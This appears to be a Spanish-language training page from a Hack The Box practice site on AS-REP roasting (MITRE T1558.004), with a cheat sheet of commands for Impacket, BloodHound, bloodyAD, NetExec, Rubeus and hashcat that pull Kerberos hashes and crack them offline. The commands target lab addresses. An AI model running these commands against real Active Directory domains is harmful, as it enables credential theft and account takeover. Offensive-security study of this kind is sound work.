T1558.004

AS-REP roasting

Subtécnica de T1558 Robar o forjar tickets de Kerberos

Pedir un AS-REP de usuarios sin preautenticación de Kerberos y crackear su contraseña offline.

Cómo aparece en Hack The Box

Ni siquiera necesitas credenciales: basta una lista de usuarios (de kerbrute, RID brute o la web). Es de las primeras cosas que se prueban en un DC.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Escalada en Windows y Active Directory › Active Directory

AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat

Crackea con hashcat -m 18200.

Active Directory a fondo › BloodHound

Usuarios AS-REP roastables (sin preautenticación)
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

Active Directory a fondo › Impacket

AS-REP roasting Atacante
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

bloodyAD › Abusar de las ACL

Quitar la preautenticación (AS-REP roasting dirigido)
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH

Hashcat › Modos más usados

AS-REP roasting
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

NetExec (nxc) › Kerberos y credenciales

AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt

Rubeus › Roasting

AS-REP roasting Víctima
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Herramientas